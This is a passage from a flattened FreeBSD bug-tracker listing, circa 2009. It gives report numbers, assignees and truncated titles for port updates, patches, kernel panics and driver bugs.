[maintainer update] update devel/p5-Parse-ExuberantCTa o ports/136696 amdmi3 [maintainer update] update devel/p5-File-Find-Rule-VCS o kern/136695 fwd reached after skipto in dynamic rules does not wor o ports/136694 miwi [maintainer update] security/yapet: port update to 0.4 o ports/136693 itetcu [PATCH] mail/pmail: fix build with custom LOCALBASE o ports/136692 perl [PATCH] www/p5-Web-Scraper: update to 0.30 o ports/136691 marcus ports-mgmt/portlint: incorrectly warns about --with-li o ports/136688 [patch] port ftp/jftpgw - add "MLSD" capability o ports/136687 amdmi3 Update port: devel/cut update from 2.4 to 2.6 o ports/136686 krion x11/xterm: endless loop when using xterm -hold o ports/136684 Update port: benchmarks/postmark apply postmark_1.51-5 o ports/136683 ahze [PATCH] devel/distcc: Remove gcc295 support o ports/136682 itetcu [MAINTAINER] multimedia/mythtv-frontend: fixes to resp f ports/136680 dinoex [PATCH] textproc/eruby: Fix broken o ports/136679 ahze [PATCH] devel/ccache: Remove gcc295 support o ports/136678 itetcu [PATCH] net/rtg: fix custom LOCALBASE build + other Ma o ports/136677 miwi [MAINTAINER] sysutils/luckybackup: Update to version 0 o ports/136676 gnome x11/gnome2: hald/GNOME (I guess) (re) mounted /usr and o ports/136675 mono [maintainer-update] lang/mono cleanups o ports/136674 portmgr [repocopy request] ports/editors/openoffice.org-2-deve o ports/136673 miwi Update audio/smasher to 1.0.8 o ports/136672 miwi [NEW PORT]math/p5-Math-Geometry-Voronoi:Perl Module to o kern/136669 [libc] [patch] setmode(3) should always set errno on e o ports/136668 philip [patch] games/wesnoth: update to 1.6.4 o docs/136666 doc [handbook] Configure serial port for remote kernel deb o ports/136665 miwi games/d2x-xl version upgrade o ports/136663 miwi [REPOCOPY]databases/phpminadmin --> databases/adminer o ports/136662 araujo [PATCH] x11-toolkits/tktreectrl: update to 2.2.9 o bin/136661 [patch] ndp(8) ignores -f option o ports/136657 marcus [PATCH] ports-mgmt/portlint: Fix string comparison wit o ports/136656 dhn [maintainer] www/p5-RT-Authen-ExternalAuth.diff www/p5 f ports/136654 girgen databases/postgresql-contrib fails on make package o kern/136652 firewire [firewire] Firewire-attached "WD My Book 1028" does no f ports/136649 gerald lang/gcc43 - gcc43-20090621 does not build on amd 64, o ports/136647 dhn [REPOCOPY] sysutils/duplicity -> sysutils/duplicity-de o ports/136646 dhn [MAINTAINER] sysutils/duplicity: declare conflict with f ports/136645 beat Add a line to the devel/allegro-devel port o ports/136644 lwhsu [PATCH] mail/py-spambayes: update for python 2.6 o ports/136642 miwi [MAINTAINER] www/wordpress: update to 2.8.1 o ports/136641 miwi [maintainer update] Update databases/p5-Rose-DB to 0.7 o ports/136637 amdmi3 [PATCH] sysutils/xlogmaster: update to 1.6.2 o ports/136636 amdmi3 [PATCH] sysutils/virtualmin: update to 3.703 o ports/136635 amdmi3 [NEW PORT] sysutils/duff: A fast duplicate file finder o ports/136630 amdmi3 [maintainer update] fix dependency issue for x11-toolk o ports/136629 glarkin [PATCH] multimedia/mythtv: fixes to respect LOCALBASE o ports/136628 [maintainer-update] www/squidguard: add options, fix s o ports/136625 girgen databases/postgresql84-server defaults to 32bit date/t o conf/136624 rc [rc.d] sysctl variables for ipnat are not applied on b o ports/136621 lev [patch] devel/ruby-subversion: unbreak the build o conf/136620 [patch] add watchdogd_flags to defaults/rc.conf o kern/136618 net [pf][stf] panic on cloning interface without unit numb f ports/136615 [update] converters/pdf2djvu: update to 0.5.9 o ports/136613 mm net-im/jabber-pyicq has broken RUN_DEPENDS for EJABBER o ports/136612 mm net-im/jabber-pymsn has broken RUN_DEPENDS for EJABBER f ports/136611 security/swatch: leaves zombies behind f ports/136607 gerald [PATCH] lang/gcc43 lang/gcc44: add OPTION for devel/bi f ports/136602 Update of ports/irc/ircservices to current o kern/136601 fs [zfs] tar: Couldn't list extended attributes: Read-onl o ports/136598 apache [PATCH] www/mod_fastcgi: Fix non-threadsafe function f ports/136596 miwi [Patch]textproc/py-xml:welcome python2.6 o ports/136594 amdmi3 [new port] [patch] astro/astrometry o ports/136592 max [PATCH] www/p5-WWW-Shorten-Bitly: update to 1.10 f ports/136590 pgollucci [PATCH] www/p5-W3C-LogValidator: update to 1.4 o ports/136587 clsung [PATCH] www/p5-Jifty: update to 0.90701 o ports/136586 clsung [PATCH] www/p5-Jifty: update to 0.90701 f ports/136582 pgollucci [PATCH] www/p5-HTML-Chunks: update to 1.55.1 o ports/136580 lbr [PATCH] www/p5-Catalyst-Runtime: update to 5.80007 o ports/136579 lbr [PATCH] www/p5-Catalyst-Plugin-Session: update to 0.24 o ports/136578 lbr [PATCH] www/p5-Catalyst-Plugin-PageCache: update to 0. o ports/136577 lbr [PATCH] www/p5-Catalyst-Plugin-FillInForm: update to 0 o ports/136576 lbr [PATCH] www/p5-Catalyst-Plugin-ConfigLoader: update to o ports/136575 lbr [PATCH] www/p5-Catalyst-Plugin-Authentication: update o ports/136574 lbr [PATCH] www/p5-Catalyst-Model-Xapian: update to 0.04 o ports/136573 lbr [PATCH] www/p5-Catalyst-Model-DBIC-Schema: update to 0 o ports/136572 lbr [PATCH] www/p5-Catalyst-Example-InstantCRUD: update to o ports/136571 lbr [PATCH] www/p5-Catalyst-Devel: update to 1.19 o ports/136566 lbr [PATCH] textproc/p5-Text-SimpleTable: update to 1.2 o ports/136565 mat [PATCH] textproc/p5-Text-Reflow: update to 1.07 o ports/136564 ache [PATCH] textproc/p5-Text-CSV_XS: update to 0.65 f ports/136563 pgollucci [PATCH] textproc/p5-Perl-Critic-Bangs: update to 1.02 f ports/136562 pgollucci [PATCH] textproc/p5-KinoSearch: update to 0.165 o ports/136561 lbr [PATCH] textproc/p5-FormValidator-Simple: update to 0. f ports/136560 pgollucci [PATCH] sysutils/p5-Sysadm-Install: update to 0.29 f ports/136559 pgollucci [PATCH] shells/p5-Shell-Perl: update to 0.0018 f ports/136557 pgollucci [PATCH] security/p5-File-Scan-ClamAV: update to 1.91 o ports/136556 clsung [PATCH] news/p5-POE-Component-Server-NNTP: update to 1 o ports/136554 clsung [PATCH] net/p5-Net-Twitter: update to 3.03000 o ports/136551 glarkin [PATCH] net/p5-Net-Mosso-CloudFiles: update to 0.43 f ports/136550 pgollucci [PATCH] net/p5-Net-LDAP-LDAPhash: update to 1.0.2 f ports/136549 pgollucci [PATCH] net/p5-Net-Google-Calendar: update to 0.97 f ports/136547 pgollucci [PATCH] net/p5-Apache2-SOAP: update to 0.73 o ports/136546 sumikawa [PATCH] multimedia/p5-FFmpeg-Command: update to 0.11 f ports/136545 pgollucci [PATCH] misc/p5-Test-Dir: update to 1.006 o ports/136543 chinsan [PATCH] misc/p5-Geography-NationalGrid-TW: update to 0 f ports/136542 pgollucci [PATCH] math/p5-Math-Base36: update to 0.1 f ports/136541 pgollucci [PATCH] mail/p5-MIME-EncWords: update to 1.011.1 o ports/136539 chinsan [PATCH] graphics/p5-Layout-Manager: update to 0.30 o ports/136538 chinsan [PATCH] graphics/p5-Graphics-Primitive: update to 0.44 o ports/136537 chinsan [PATCH] graphics/p5-Chart-Clicker: update to 2.36 f ports/136536 pgollucci [PATCH] dns/p5-Net-LibIDN: update to 0.12 o ports/136533 clsung [PATCH] dns/p5-Net-DNS-ToolKit: mark make jobs unsafe, f ports/136532 pgollucci [PATCH] devel/p5-threads-shared: update to 1.29 f ports/136530 pgollucci [PATCH] devel/p5-ex-lib: update to 0.07 o ports/136529 chinsan [PATCH] devel/p5-Variable-Magic: update to 0.36 o ports/136527 lbr [PATCH] devel/p5-UNIVERSAL-isa: update to 1.03 o ports/136526 lbr [PATCH] devel/p5-UNIVERSAL-can: update to 1.15 f ports/136525 pgollucci [PATCH] devel/p5-Sys-SigAction: update to 0.11 f ports/136522 pgollucci [PATCH] devel/p5-SSN-Validate: update to 0.18 f ports/136518 pgollucci [PATCH] devel/p5-Object-InsideOut: update to 3.55 o ports/136517 lbr [PATCH] devel/p5-Mouse: update to 0.27 o ports/136516 lbr [PATCH] devel/p5-MooseX-Types: update to 0.16 o ports/136513 lbr [PATCH] devel/p5-MooseX-POE: update to 0.205 o ports/136509 lbr [PATCH] devel/p5-MooseX-AttributeHelpers: update to 0. o ports/136508 lbr [PATCH] devel/p5-Moose: update to 0.87 o ports/136507 mat [PATCH] devel/p5-Locale-Maketext-Gettext: update to 1. f ports/136506 pgollucci [PATCH] devel/p5-IO-Lambda: update to 1.11 o ports/136505 clsung [PATCH] devel/p5-IO-Async: update to 0.21 o ports/136504 clsung [PATCH] devel/p5-Glib2: update to 1.222 f ports/136503 pgollucci [PATCH] devel/p5-File-Util: update to 3.27 o ports/136498 mat [PATCH] devel/p5-DateTime-TimeZone: update to 0.91 o ports/136497 mat [PATCH] devel/p5-DateTime-Locale: update to 0.43 o ports/136496 mat [PATCH] devel/p5-DateTime: update to 0.50 o ports/136494 mat [PATCH] devel/p5-Data-Dumper: update to 2.124 o ports/136492 lbr [PATCH] devel/p5-Config-JFDI: update to 0.063 o ports/136488 lbr [PATCH] databases/p5-DBIx-Class-ResultSet-RecursiveUpd o ports/136487 lbr [PATCH] databases/p5-DBIx-Class: update to 0.08107 o ports/136486 chinsan [PATCH] converters/p5-JSON-DWIW: update to 0.34 f ports/136485 pgollucci [PATCH] cad/p5-Verilog-Perl: update to 3.211 o ports/136484 [PATCH] audio/p5-MP3-Tag: update to 1.11 o ports/136483 flz net-p2p/ctorrent: [patch] option to install ctcs o kern/136482 net [age] Attansic L1 Gigabit Ethernet recieves multicasts o ports/136481 pgollucci audio/exaile-devel - include recommended depend o kern/136470 fs [nfs] Cannot mount / in read-only, over NFS f ports/136469 miwi [patch] Update www/mediawiki to version 1.15 o kern/136467 geom [geom] glabel(8) destroys access to GEOM tree if volum o ports/136466 miwi New port: devel/ruby-file-tail o www/136463 www Submission related with Commercial Vendors page o ports/136461 jpaetzel net/isc-dhcp30-server: dhcpd not working without stati o ports/136458 glarkin port update www/yahoo-ui f ports/136457 port update net/sflowtool o ports/136456 jpaetzel [Update]devel/py-yaml:update to 3.0.8 o ports/136455 vd [PATCH] misc/ossp-uuid: add -fPIC for amd64 and ia64 f ports/136443 miwi [MAINTAINER] multimedia/flvtool++: update to 1.2.1 o ports/136440 cy Repocopy sysutils/syslog-ng2 to sysutils/syslog-ng3 o ports/136439 leeym [misc/cmatrix] install console font o kern/136438 mav [ata] discrepancy between 8 and earlier rel. (?) [regr f ports/136435 gnome security/gnome-keyring + hald prevents umount of usb d o ports/136434 wxs Fix broken net/openradius port and request maintainers o ports/136432 apache www/mod_auth_kerb does not build with MIT Kerberos (se o kern/136429 multimedia [snd_hda] snd_hda not identified on 8.0-current o ports/136427 can't make devel/gwenhywfar o kern/136426 [panic] spawning several dhclients in parallel panics f ports/136421 wxs [update] net-mgmt/vidalia - update to 0.1.14 o bin/136419 [regression] pkg_add(1) segfault on adding package whe o kern/136417 [bce] bce BCM5709 "No PHY found on child MII bus" on I o ports/136416 timur net/samba-libsmbclient can not install with SAMBA_PORT o ports/136411 pgollucci [new port] www/wgetpaste: Paste to several pastebin se p kern/136409 yongari [xl] doesn't compile with TX checksumming enabled o ports/136407 stas lang/ruby18: ruby, -lpthread option need for some libr f ports/136401 miwi update port: games/gemrb to version 0.5.0 o bin/136393 vi(1): ^C causes breakage in /usr/bin/vi f ports/136390 Compilation Problem highgui graphics/Opencv o kern/136386 [headers] [request] Can the following bluez macros be o ports/136384 dinoex ruby devel/oniguruma regexp 100% CPU usage and not qui p bin/136383 brian [PATCH] jot(1): fix usage of uninitialized values f ports/136380 wxs net-mgmt/nagios-devel needs to be updated o ports/136377 chinsan [MAINTAINER] science/netcdf: update to 4.0.1 o ports/136375 perky misc/xosd update to 2.2.14 o ports/136374 wxs [maintainer-update] net-mgmt/nagios-devel: Update to 3 o ports/136371 mm port/graphics/ImageMagick: Stop in /usr/ports/graphics o ports/136370 wxs [MAINTAINER] net/tintin: update to 1.99.6 o ports/136367 kde misc/kdeedu3 borken on -current o ports/136366 brooks devel/llvm and devel/llvm-devel don't conflict o kern/136363 [panic] panic: vm_fault: fault on nofault entry, addr: o kern/136361 thompsa [patch] fix regression (kernel panic) in uaudio.c o ports/136360 wxs [Maintainer] textproc/scim-kmfl-sil-ipa-unicode5: Upda o ports/136359 New port - lang/gnat-gcc44 f ports/136357 itetcu net-p2p/verlihub - small patch for custom prefix worki o kern/136356 [ata] SATA / ICH7 problems o bin/136354 [patch] powerd(8): Support for maxspeed in adaptive mo o threa/136345 threads Recursive read rwlocks in thread A cause deadlock with o ports/136343 miwi [REPOCOPY]math/R-sp --> math/R-cran-sp o ports/136341 Port update: multimedia/playd o ports/136340 New Port: multimedia/playd2 o conf/136336 [termcap] [patch] missing entry for "center of keypad" f ports/136333 mi devel/gdb6 broken on 8.0-current-amd64 o ports/136331 mnag [update] make databases/sqlite3 compile with tcl85 o ports/136330 dhn [patch] x11-wm/i3: Fix path in example and man file o kern/136327 [boot] Asus M3N78-EM motherboard cannot boot with gene o bin/136325 cperciva portsnap(8): "portsnap fetch" not useable by other pro o ports/136321 emulation x11-toolkits/linux-pango: please update linux based po f ports/136305 avl [patch] audio/musicpd: 0.15 update o ports/136303 roam [patch] textproc/texi2html -- update to 1.82 o ports/136302 itetcu [patch] ports-mgmt/tinderbox-devel incorrect WEBUI opt o ports/136298 nork [MAINTAINER] japanese/eb: update to 4.4.1 o ports/136291 openoffice [patch] editors/openoffice.org-3: gpatch failure o ports/136288 wxs [MAINTAINER] editors/scite: update to 1.79 o ports/136281 pgollucci New port: benchmarks/slowloris - HTTP client to test w o kern/136271 kmacy [xen] XEN kernel fails to build on 8-CURRENT i386 o ports/136270 clsung [maintainer] science/ruby-gphys: update to 0.7.0 o ports/136268 ale databases/php5-pdo_dblib 5.2.10 doesn't work with MSSQ o ports/136267 pgollucci New port: net-im/prosody Simple and extensible Lua XMP o ports/136266 pgollucci New port: security/luasec Lua bindings for OpenSSL lib o ports/136265 pgollucci New port: textproc/luaexpat XML Parser for Lua using t o ports/136263 ale New port: databases/mysql54-server, requesting ownersh o ports/136262 wxs [MAINTAINER] mail/imapsync: update to 1.285 o ports/136259 mich [PATCH] sysutils/libcdio: incorrect japanese manpage i f ports/136258 Port for sysutils/heartbeat (1.2.5_6) fails to build f bin/136257 brian ifconfig(8): Able to set an invalid netmask o ports/136252 wxs Update port: sysutils/fusefs-mhddfs version only o kern/136251 xen [xen] [patch] xn0 doesn't DHCP f ports/136250 miwi [NEW PORT] devel/pecl-gearman: Gearman API f ports/136236 miwi [NEW PORT] www/py25-amplee: Amplee is a implementation o ports/136235 miwi [REPOCOPY] www/firefox3-i18n -> www/firefox35-i18n o ports/136229 emulation [linux] certain linux apps look for libraries using a f ports/136227 science/Gramps Crashes When Opening a Family File o bin/136223 ee(1) doesn't handle SIGWINCH o ports/136220 wxs games/nethack34 - Add WITH_STATUSCOLORS knob + statusc o docs/136219 doc gnop(8) manual page bug o kern/136218 fs [zfs] Exported ZFS pools can't be imported into (Open) o kern/136216 [headers] Missing prototype declaration for setfib() o f ports/136211 wxs fix bug: sysutils/fusefs-kmod o ports/136207 ache [PATCH]: graphics/png: update to 1.2.37 (security) o ports/136204 [new port] lang/open-cobol-devel - development preview o ports/136203 girgen [Update]databases/py-PyGreSQL:update to 4.0 o ports/136197 flz [patch] net-p2p/bnbt sha1 implementation broken for am o bin/136192 [request] import "-3", "-A N", "-B N" options for cal( o ports/136191 krion [PATCH]devel/nasm: update to 2.06 o ports/136188 beech ftp/proftpd: Upgrade proftpd-mod_sql_tds to version 4. f ports/136187 wxs [PATCH]: net-mgmt/nagios update to address security vu o ports/136186 brix [UPDATE] www/ikiwiki version update to 3.141 f ports/136185 mm [PATCH] www/spawn-fcgi: more flags to rc script o kern/136182 [ata] Heavy disk writes (e.g. ZFS resilver to a drive) o ports/136170 kde devel/kdevelop is out of date (and src file moved) o kern/136168 net [em] em driver initialization fails on Intel 5000PSL m f ports/136163 gabor sysutils/megacli won't work on 7.1, amd64 o bin/136161 sysinstall(8) installs wrong architecture on amd64 o kern/136159 [kthread] [patch] tsleep with PDROP in kthread_suspend f ports/136157 marcus audio/rhythmbox "skips" when caps lock pressed o ports/136151 gabor [patch] port security/amavisd-new add snmp subagent o ports/136150 [New Port] textproc/scim-kmfl-european-latin: Paneurop f ports/136137 araujo [PATCH] comms/spandsp: Update to 0.0.5 f ports/136134 araujo [PATCH] graphics/ivtools: Patch to correct the install o ports/136133 New port: net/callweaver Open source IP PBX based on A f ports/136132 Update port: devel/srecord to 1.49 f kern/136130 buildworld of FBSD 6.4 fails f ports/136129 multimedia/kbtv won't build & install on 7.2 o ports/136124 sysutils/bsdstats needs timeout settings o kern/136123 [crypto] device crypto breaks sparc64 kernel o kern/136120 [panic] free: address has not been allocated. f ports/136108 glarkin new port: www/webistrano, web frontend to capistrano o ports/136105 ache Update port: mail/popper add PORTSCOUT limit o ports/136103 mnag [PATCH] databases/memcached: Update REPCACHED patch o docs/136100 doc change FreeBSD Ports distfiles survey's url to portsco o kern/136098 [ata] ata only getting 33 instead of 133 o ports/136097 kuriyama security/gnupg: update pkg-message f ports/136096 python New port: devel/py-h5py o ports/136091 pgollucci [PATCH] www/apache22 - suexec resource limits patch o ports/136089 New port: devel/mercurialeclipse A mercurial plugin fo o ports/136088 pgollucci New ports: databases/mysql-workbench51 databases/mysql o ports/136085 itetcu [Maintainer update] graphics/optar: Patch to compile o ports/136083 python New port: devel/py-gitosis Software for hosting git re f ports/136077 araujo [PATCH] net/ssltunnel-client: update to 1.16. Fixed ma f ports/136076 araujo [PATCH] net/ssltunnel-server: update to 1.16 o bin/136073 des recent nscd(8) changes cause client processes to die w o ports/136072 portmgr Propose new ports category, internationalization s ports/136065 portmgr bsd.port.mk: NO_MANCOMPRESS=yes works for FreeBSD base f ports/136062 A patch to fix the patch file of www/xpi-foxyproxy abo p docs/136061 doc grammar nits in ipfw.8 o ports/136059 ache [UPDATE] archivers/unrar: Update to latest version. o ports/136057 wxs unify nologin path to /usr/sbin/nologin in ports/UIDs o ports/136056 sem ports-mgmt/portupgrade 2009-06-25 breaks textproc/meld o docs/136035 doc ftpchroot(5) omits an important option o ports/136034 pgollucci new port: security/shibboleth2-sp: C++ Shibboleth Serv o docs/136029 doc MALLOC_PRODUCTION knob should be mentioned somewhere, o ports/136028 clsung databases/mysql-proxy - allow multiple backend address o ports/136027 obrien [patch] editors/vim: improve fetching o kern/136013 [resolver] Resolver wrong diagnostics o ports/136010 dhn [REPOCOPY] www/conkeror -> www/xpi-conkeror o i386/136008 acpi [acpi] Dell Vostro 1310 will not shutdown (Requires us o docs/135999 doc Netgear GS105v3 should be added to list of switches th o kern/135992 [ar] [2tb] ar(4) driver can NOT drive over 2TB HDD o kern/135989 [NOTES] [patch] device vr support D-Link DFE-520TX, bu o kern/135986 [panic] FreeBSD crashes after VLC close o docs/135983 doc "The Z File System" - title is misleading and causes s o ports/135979 nobutaka [PATCH] www/w3m: Mark MAKE_JOBS_UNSAFE=yes o ports/135974 shaun news/inn - innd core dumps with newer versions of libp o ports/135972 doceng print/ghostscript8: Fix problem with color prints o ports/135971 gecko [PATCH] www/linux-firefox-devel: Removed mark forbidde f ports/135967 brian math/R: missing dependency for libgfortran.so.2 f i386/135961 gavin booting WRAP and Soekris fails from PXE, boot0 and boo o ports/135958 novel [patch] update audio/mpg123 from 1.6.4 to 1.8.1 o ports/135952 kuriyama security/gnupg 2.0.12 breaks gnome2/seahorse-agent f ports/135949 wxs net-mgmt/flowd does not install rc.d start script o kern/135948 pf [pf] [gre] pf not natting gre protocol o ports/135939 perl net/p5-Net-Amazon-S3 0.51 has unresolved dependency on o usb/135938 usb [aue] aue driver only passes traffic in promisc mode o ports/135931 doceng print/ghostscript8 - v8.64 produces empty output for - o ports/135927 itetcu [PATCH]math/R: fix build in the case of a non-default o kern/135922 fbsd 'ata' driver kernel panic DoS (ioctl) o bin/135918 [patch] Make BootEasy compatible with NT Drive Serial o ports/135911 wxs [MAINTAINER] security/gpgme: Update to version 1.2.0 o ports/135909 comms/mgetty+sendfax port defaults to non-existant ser o kern/135898 geom [geom] Severe filesystem corruption - large files or l o bin/135893 [patch] vmstat(8): 'vmstat -s -M core' is broken f kern/135891 vwe [acpica] bug in acpica/psparse.c o ports/135883 shaun [PATCH] lang/gcc295: Unbreak build o ports/135877 lbr [PATCH] databases/p5-DBIx-Class: update to 0.08107 o kern/135874 geom [geom] [patch] geom_linux_lvm misses newer fedora defa f ports/135867 net-im/gajim 0.12.3: wrong $path in bin file o ports/135859 girgen Update to latest version of databases/py-PyGreSQL o usb/135857 usb RTL8187 Wireless Adapter o ports/135843 obrien Update port editors/vim o kern/135836 net [bce] bce BCM5709 Watchdog after warm boot - ok after o ports/135832 python security/py-pycrypto: Deprecation warnings when used w f kern/135824 [panic] Fatal trap 12: page fault while in kernel mode o kern/135823 top(1) shows wrong CPU usage for multithreaded applica o ports/135720 mat [PATCH] devel/perltidy: update to 20090616 o ports/135719 [patch] multimedia/mplayer: Fix segfaults when playing o bin/135718 [patch] enhance qsort(3) to properly handle 32-bit ali f ports/135703 new port: databases/slony2 [was: Updated port database f ports/135702 amdmi3 Update port print/hplip to 3.9.6 o bin/135700 [patch] Add an ability to run inetd(8) with P_PROTECTE f kern/135692 [mtx] [witness] blockable sleep lock - kernel panic on o ports/135691 sem ports-mgmt/portupgrade Wrong example in man page of pk o kern/135690 [panic] [ata] ufs_dirbad: /backuphd: bad dir ino 22259 o ports/135689 obrien editors/vim broken (tries to download patch "7.2.041%" o ports/135681 novel [patch] security/gnutls-devel update to 2.9.1 o ports/135680 novel [patch] security/gnutls update to 2.8.1 o ports/135679 novel [patch] security/libtasn1 update to 2.2 o docs/135676 doc FAQ About The FreeBSD Mailing Lists doesn't mention ma o ports/135674 portmgr [PATCH] some PHP-related knobs should be placed before o ports/135673 ale databases/mysql50-server - MySQL query lock-ups on 7.2 o ports/135670 ale [PATCH] databases/mysql50-server: in mysql-client mysq o kern/135667 [lor] LORs causing ufs filesystem corruption on XEN Do o ports/135664 delphij [PATCH]: bsd.ldap.mk: Detect flavour of installed open o ports/135663 portmgr [PATCH]: bsd.port.mk: move pkg_install commands detect s ports/135660 wxs Update net/jicmp to 1.0.10 o ports/135659 ade Update devel/automake110 to 1.10.2 o ports/135650 lwhsu [NEW PORT] www/yii: A high-performance component-based o ports/135649 portmgr Mk/bsd.port.mk: [patch], fix documentation relating to o bin/135647 cperciva freebsd-update(8): forces manual merge of every file i p kern/135628 remko [umass] [patch] add a device quirk for Myson Heden 881 o ports/135625 ahze devel/distcc ports has wrong PATCH_SITES locations o ports/135623 netchild mail/claws-mail does not install "enchant" when instal o ports/135622 delphij net/openldap2[34]-client: PKGNAME does not accurately f ports/135621 wxs [PATCH] ports/sysutils/fusefs-kmod f i386/135609 vwe FreeBSD reboot during high cpu load. o kern/135608 [patch] sysctl should be able to handle byte values o kern/135594 fs [zfs] Single dataset unresponsive with Samba o ports/135593 shaun net-im/ejabberd: ram_file_io_server makes ejabberdevel f ports/135592 amdmi3 New Port: emulators/bsnes Snes Emulator BSnes o misc/135588 embedded [nanobsd] simple patch for adding amd64 support o kern/135585 bz [ip6] net.inet6.ip6.accept_rtadv=1 removes a cloning r o power/135576 ppc gdb cannot debug threaded programs on ppc o usb/135575 usb [usbdevs] [patch] Add HTC Wizard phone vid/pid informa o ports/135569 portmgr `check-sanity` not documented in bsd.port.mk o bin/135565 randi [patch] a patch for sysinstall(8) to look at UFS parti o bin/135562 randi sysinstall(8): Filesystem operations should only be pe o bin/135559 randi route table shouldn't automatically be deleted with pr f ports/135557 miwi [NEW PORT] sysutils/py25-supervisor: A client/server s o kern/135556 multimedia [snd_hda] Sound (mostly) broken w/ snd_hda on -CURRENT s kern/135550 [sysctl] [request] Feature Request: Manufacturer Infor o kern/135546 fs [zfs] zfs.ko module doesn't ignore zpool.cache filenam s ports/135544 [patch]net-im/qwit suffers from twitpocalypse o ports/135543 az upgrade games/lincity-ng to 2.0 o usb/135542 usb [keyboard] boot loader does not work with a usb keyboa f ports/135541 [PATCH] math/p5-NetCDF cannot load module with netcdf- o ports/135528 itetcu Fix audio/exaile-devel regression when installing with o docs/135520 doc [patch] typos in fail(9) o docs/135516 doc pax(1) manual not mentioning chflags unawareness o ports/135508 pgollucci New port: databases/py-postgresql, Python3.x adapter f a ports/135503 wxs lang/python26 upgrade should get mailman too o kern/135502 net [periodic] Warning message raised by rtfree function i o ports/135500 obrien net/rdesktop sound does not work [PATCH] o kern/135497 [ata] JMicron JMB363 controller does not recognize PAT o ports/135486 hrs print/acroread9 crashes after maybe 10 seconds of oper o kern/135485 [modules] [patch] During a shutdown, kernel modules sh f ports/135484 python port lang/python and python26 build failed o kern/135480 fs [zfs] panic: lock &arg.lock already initialized o kern/135476 ipfw [ipfw] IPFW table breaks after adding a large number o o docs/135475 doc [patch] jot(1) manpage and behaviour differ o ports/135474 ale [PATCH] Mk/bsd.php.mk: add possibility to redefine PHP o ports/135471 secteam [patch] ports-mgmt/portaudit-db packaudit.conf sourced o kern/135469 fs [ufs] [panic] kernel crash on md operation in ufs_dirb o kern/135468 dchagin broken detection of Linux binaries via ".note.ABI-tag" o ports/135467 sepotvin can not build java/eclipse with WITHOUT_MOZILLA=yes WI o ports/135466 sem ports-mgmt/portupgrade leaves orphaned lock files sinc o www/135465 www FreeBSD cvsweb reporting inaccurate logs? o threa/135462 threads [PATCH] _thread_cleanupspecific() doesn't handle delet o kern/135458 dchagin Missing errno translation in Linux getsockopt(,,SO_ERR p kern/135451 yongari [fxp] no wol capability in fxp-driver for 82801-based s i386/135447 amd64 [i386] [request] Intel Core i7 and Nehalem-EP new feat o bin/135444 cperciva freebsd-update(8) failing should be more verbose s ports/135442 mkntfs from sysutils/ntfsprogs don't seems to work o ports/135437 skv lang/perl5.8: [regression] /usr/local/lib/perl5/site_p s ports/135436 pgollucci [NEW PORT] audio/audex: Audio CD ripper for KDE4 f ports/135433 amdmi3 print/scribus 1.3.3.11_1: Story editor truncates and c f i386/135427 vwe [ath] [hang] System freezes when loading Atheros drive o ports/135426 ale databases/mysql51-server: making package fails with BU f ports/135423 dinoex ports/print/cups-base port downloads corrupt files o kern/135421 xen [xen] FreeBSD Xen PVM DomU network failure - netfronc. o misc/135420 bugmeister gnats generates broken In-Reply-To headers o kern/135408 [aac] Adaptec 5405 RAID controller hanging under high o ports/135398 portmgr lang/perl5.6 is dead, remove PERL_LEVEL/PERL_VERSION < o ports/135388 mm lang/tcl84 spins on closed tty OR the return of ports/ o ports/135383 anders [UPDATE] multimedia/ffmpeg2theora to 0.24 o usb/135372 usb Quirk report for Teclast TL-C300 usb media player o www/135365 www Broken link in man.cgi o bin/135349 acpi [patch] teach acpidump(8) to disassemble arbitrary mem o usb/135348 usb [umass] USB Drive Hangs with ZFS (JMicron USB2/eSata) o ports/135346 makc Update audio/amarok-kde4 to version 2.1 o ports/135345 makc New port: audio/taglib-extras o ports/135344 makc New port: devel/qtscriptgenerator o ports/135341 emulation [PATCH] linux-f10 ports that install manpages: add NOM o conf/135338 pf startup order seems broken o ports/135337 emulation [PATCH] emulators/linux_base-f10: incorrect bash usage o ports/135334 portmgr [exp-run] change linux defaults to Fedora 10 at 8-CURR o bin/135333 Non-integer decimal numbers not allowed in sysinstall( o ports/135332 sobomax net/asterisk16 doesn't work with Makefile.local o ports/135330 lippe [PATCH] devel/st: return back missed file into library o ports/135323 beech [PATCH] ftp/proftpd giving up on fetching files: mod_c o ports/135322 emulation Port graphics/linux_dri has incorrect packaging list c o bin/135317 randi install.cfg feature request o bin/135314 fs [zfs] assertion failed for zdb(8) usage o ports/135313 multimedia (patch) Update multimedia/podcatcher to 3.1.4 (Sep 200 o stand/135307 standards Boot Loader problem on Acer Aspire 5735 o ports/135303 alepulver [PATCH] games/warzone2100: update to 2.2.0 p misc/135301 remko [tinybsd] [patch] Patch for fix architecture support f o www/135294 www new user group for Belgium f ports/135285 wxs [PATCH] sysutils/fusefs-kmod: Fix build on current o ports/135276 x11 x11/xorg: GUI running first time only while using Free o amd64/135265 amd64 [install] Boot from install cd hangs on HP DL160 G5 wi o ports/135238 multimedia [patch] OPTIONS support in multimedia/transcode o kern/135237 [nfs] sendfile(2) and SF_NODISKIO blocks on NFS files o kern/135222 net [igb] low speed routing between two igb interfaces o ports/135221 portmgr [bsd.port.mk] unified support for LINUX_OSRELEASE depe o usb/135206 usb machine reboots when inserted USB device o ports/135201 sem ports-mgmt/portupgrade: doesn't upgrade lang/tcc o usb/135200 usb SAMSUNG i740 usb mass: Synchronize cache failed, statu o usb/135182 usb UMASS quirk - Olympus FE20 camera o kern/135179 xen [xen] Xen domU does not properly reboot o kern/135178 xen [xen] Xen domU outgoing data transfer stall when TSO i o docs/135165 doc [patch] make(1) fixes: punctuation, typos, tweaks o kern/135164 [keyboard] UK currency key inactive o ports/135163 wes Update port: devel/poco unbreak and update to 1.3.5 o kern/135162 pf [pfsync] pfsync(4) not usable with GENERIC kernel o bin/135159 [patch] pkg_delete(1) segfaults on empty @pkgdep lines f ports/135157 dinoex [PATCH] print/cups: broken metaport does not install f misc/135156 [build] 8-current installworld - gencat:No such file o o ports/135096 pgollucci new port:databases/slonyI-2 f ports/135089 portmgr bsd.port.mk: Honor LOCALBASE for CFLAGS o ports/135082 chinsan [UPDATE] converters/p5-JSON-DWIW to 0.32 o ports/135080 ache [UPDATE] textproc/p5-Text-CSV_XS to 0.65 f ports/135072 clsung textproc/refdb -> bib2ris: Assertion failed: ((run->re o kern/135070 acpi [acpi] [patch] BIOS resource allocation and FreeBSD AC o kern/135069 xen [xen] FreeBSD-current/Xen SMP doesn't function at all o kern/135067 net [patch] [fib] Incorrect KASSERTs in sys/net/route.c o kern/135057 [ata] [patch] New VIA 